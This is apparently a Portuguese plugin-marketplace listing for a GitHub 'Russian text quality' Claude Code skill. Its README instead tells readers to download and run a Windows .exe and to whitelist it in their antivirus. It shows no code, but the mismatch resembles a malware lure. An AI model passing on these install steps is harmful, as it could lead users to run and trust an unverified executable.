convez.ai
SkillIntegração & APIsIntermediário
Axelendometrial4386

Russian Text Quality

Axelendometrial4386/russian-text-quality

Valida qualidade e correção de textos russos em projetos de i18n

Ver no GitHub
BomPluginScore · de 0 a 100

Ferramenta de análise de qualidade para textos em russo dentro de código, identificando erros gramaticais, regras plurais incorretas e inconsistências de tradução. Valida conformidade com padrões CLDR e i18n, garantindo profissionalismo em textos traduzidos.

Instalação

$npx convez-ai Axelendometrial4386/russian-text-quality

1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.

Métricas

Estrelas
1
Forks
0
Acompanhando
0
Saúde
71%
Último commit
há 1 mês
Versão
—
Issues abertas
0
Contribuidores
2

Casos de uso

  • Validar arquivos de tradução em russo para consistência gramatical
  • Detectar erros de pluralização e concordância em strings de aplicações
  • Verificar conformidade com padrões CLDR em projetos multilíngues

Veredito

Ferramenta especializada e prática para times que trabalham com internacionalização de código em russo, com interface clara e relatórios acionáveis. Limitada ao ecossistema Windows e requer conexão de internet para setup inicial.

README

A tradução para o português deste README ainda está na fila.

🇷🇺 russian-text-quality - Fix Russian language errors in code

This software checks Russian text within your code files. It finds common mistakes in grammar, word choices, and spelling. It helps you keep your translations consistent and accurate. You can use this tool to fix issues with plural forms, sentence structure, and mixed languages. It works well with existing projects that use internationalization files.

📋 What this tool does

Software translations often contain errors that confuse users. Computers do not always catch these mistakes because valid code does not mean correct grammar. This tool scans your files and identifies:

  • Incorrect plural forms for Russian words.
  • Cases that do not match the surrounding text.
  • Inconsistent use of technical terms.
  • Transliterated names that should use proper Cyrillic script.
  • Unintended mixing of Russian and English phrases.

By scanning your files, the tool ensures your Russian text appears professional and natural.

⚙️ System requirements

This tool runs on most modern desktop environments. Before you start, check that your machine meets these requirements:

  • Operating System: Windows 10 or Windows 11.
  • Memory: At least 4 gigabytes of RAM.
  • Storage: 200 megabytes of free space.
  • Connection: An active internet connection for initial setup.

📥 How to download

You download the software directly from the project release page.

Click here to visit the download page

Locate the file ending in .exe for your Windows system. Click the link to start the download. Save the file to a folder where you can find it later, such as your Downloads folder.

🛠️ Step-by-step installation

  1. Locate the downloaded .exe file in your file explorer.
  2. Double-click the file to begin the process.
  3. Windows might show a prompt asking if you want to run the software. Select Run.
  4. Follow the instructions on the screen to finish the installation.
  5. The software will create a shortcut on your desktop.

🚀 Running the software

Once the installation finishes, you can open the program.

  1. Double-click the desktop icon to start the application.
  2. The main window shows a text box for your file path.
  3. Select the folder containing your code files.
  4. Press the Scan button.
  5. Watch the progress bar as the tool reads your files.
  6. Review the list of findings in the results window.

📝 Reviewing results

The tool provides a list of detected items. Each item includes a description of the issue. You can click on an item to see exactly where the translation error exists in your code.

The software color-codes issues by severity:

  • Red: Critical errors that definitely need a fix.
  • Yellow: Warnings about phrases that might be confusing.
  • Blue: Suggestions for better word choices.

You can save these results to a text file for later reporting. Click the Save Report button to generate a clean log of all findings.

💡 Troubleshooting common issues

If the tool does not open, check your antivirus settings. Some security software might block programs that perform deep scans of your files. You can add this tool to your list of trusted applications to prevent this.

If the scan takes too long, try scanning smaller folders of your project at one time. Large projects with many translation files require more time to process.

If you see an error message while scanning, make sure you have permission to edit the files in the folder you selected. The software needs read permissions to analyze your code.

🛡️ Privacy and data safety

This tool performs all checks locally on your computer. It does not send your code or your translation files to remote servers. Your data stays on your machine at all times. This ensures your project secrets and source code remain private. The tool only needs access to your local files to perform its job.

🔄 Updating the tool

The software checks for updates whenever you launch it. If a new version exists, a notification window appears. You can click the Update button to download the latest features and fixes. Updating keeps your translation checks current with the latest standards for Russian language processing.

📁 Managing settings

The settings menu allows you to change how the tool works. You can toggle specific checks on or off. For example, if you prefer to ignore transliterated identifiers, you can turn off that test in the settings panel. These changes stay in effect until you change them again. You can also restore the default settings if you want to revert to the original configuration.

🏁 Using with other tools

This tool serves as a companion to other translation workflows. You can use it alongside tools like linter programs or standard language translation services. Because it focuses specifically on the quirks of the Russian language, it catches many things that general tools miss. It integrates into your existing development process without requiring you to change your primary writing tools.

🌐 Contributing to the project

If you find a new pattern for Russian language errors, you can contribute to this project. You do not need to write code to help. You can report common grammar pitfalls you encounter to the project maintainers. These reports help everyone by improving the logic the tool uses to scan other projects. Your feedback makes the tool smarter for all users. Check the main page for instructions on how to submit your findings.

Ver o original no GitHub

Bom para

Relacionados